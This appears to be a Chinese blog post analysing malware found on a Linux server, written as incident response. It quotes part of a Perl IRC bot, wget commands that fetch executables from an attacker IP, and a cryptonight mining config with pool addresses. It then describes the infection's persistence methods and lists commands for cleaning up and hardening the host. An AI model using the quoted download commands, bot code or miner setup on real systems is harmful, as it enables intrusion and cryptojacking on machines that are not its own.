$sock_tipo = $DCC{$socket}{tipo};    unless (lc($sock_tipo) eq "chat") {        my $nick = $DCC{$socket}{nick};        my $arquivo = $DCC{$socket}{arquivo};        my $itime = $DCC{$socket}{itime};        my $ftime = time;        my $status = $DCC{$socket}{status};        $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});             my $d_time = $ftime-$itime;             my $cur_byte = $DCC{$socket}{curbyte};        my $bytes_total =  $DCC{$socket}{bytes};             my $rate = 0;        $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;        my $porcen = ($cur_byte*100)/$bytes_total;        my ($r_duv, $p_duv);        if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {            $r_duv = $3; $r_duv++ if $4 >= 5;            $rate = "$1\.$2"."$r_duv";        }        if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {            $p_duv = $3; $p_duv++ if $4 >= 5;            $porcen = "$1\.$2"."$p_duv";        }        return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");    }    return(0);}sub fixaddr {    my ($address) = @_;    chomp $address;    if ($address =~ /^\d+$/) {        return inet_ntoa(pack "N", $address);    } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {        return $address;    } elsif ($address =~ tr/a-zA-Z//) {        return inet_ntoa(((gethostbyname($address))[4])[0]);    } else {        return;    }}

这个perl代码，主要是与IRC服务器通讯，通讯的目的是让“对方”控制当前主机；猜测其主要作用是控制下载真正的木马程序并发起DDOS攻击。

前面的shell脚本代码中的 wget http://65.254.63.20/apache 和 wget http://65.254.63.20/apacheaes 是下载可执行程序，完成下载后被更名为apache和apache2并启动；所下载的 http://65.254.63.20/httpd.conf 文件是作为这两个可执行程序的配置文件，内容如下：

{    "url" : "stratum+tcp://176.9.147.78:45560",    "url" : "stratum+tcp://176.9.2.145:45560",    "url" : "stratum+tcp://176.9.147.178:45560",    "user" : "bl4ckbone@protonmail.com",    "pass" : "x",    "algo" : "cryptonight",    "quiet" : true}

猜测的下一步动作：

上面的perl程序和apache、apache2程序运行一定时间后，会自动下载名称为 xxxxxLinux 可执行程序（其中 xxxxx 是随机名称），这个文件被执行以后，会释放出一些可执行程序以替换掉系统中的相应可执行程序（如 ps，lsof，ss，netstat 等）。/etc/cron.daily/目录下会产生相应的执行文件。/etc/rc.d/rc.local 被修改加入相应执行程序完整路径，/etc/rc.local软链接被删除并复制修改后的/etc/rc.d/rc.local文件过来（充当/etc/rc.local文件）。

一些有用的命令：

（1）查找根路径（/）下最近50天内被修改的可执行文件： find / -type f -perm /111 -mtime -50

（2）查看指定文件的可修改属性： lsattr /etc/rc.d/rc.local # 显示内容如下：

-------------e-- /etc/rc.d/rc.local

（3）设置指定文件为禁止修改： chattr +i /etc/rc.d/rc.local # 执行后该文件不允许删除[ rm -f ]和修改，注意只能对root用户组的文件进行设置

# lsattr /etc/rc.d/rc.local

----i--------e-- /etc/rc.d/rc.local # 注意这里第5列为字母i

（4）设置指定文件为允许修改： chattr -i /etc/rc.d/rc.local # 恢复为可删除和修改

（5）强制退出指定用户登录： pkill -9 -t pts/1 # 这里的 pts/1 是执行 w 命令以后相应已登录用户的TTY列内容

（6）获得指定可执行文件的文本内容： strings /root/xxxxxLinux2.6>strings_Linux26.txt # 用于查看和分析木马程序中的可疑文本，如 IP地址或域名

<<后续根据情况再修改>>

转载于:https://my.oschina.net/yaray/blog/881221

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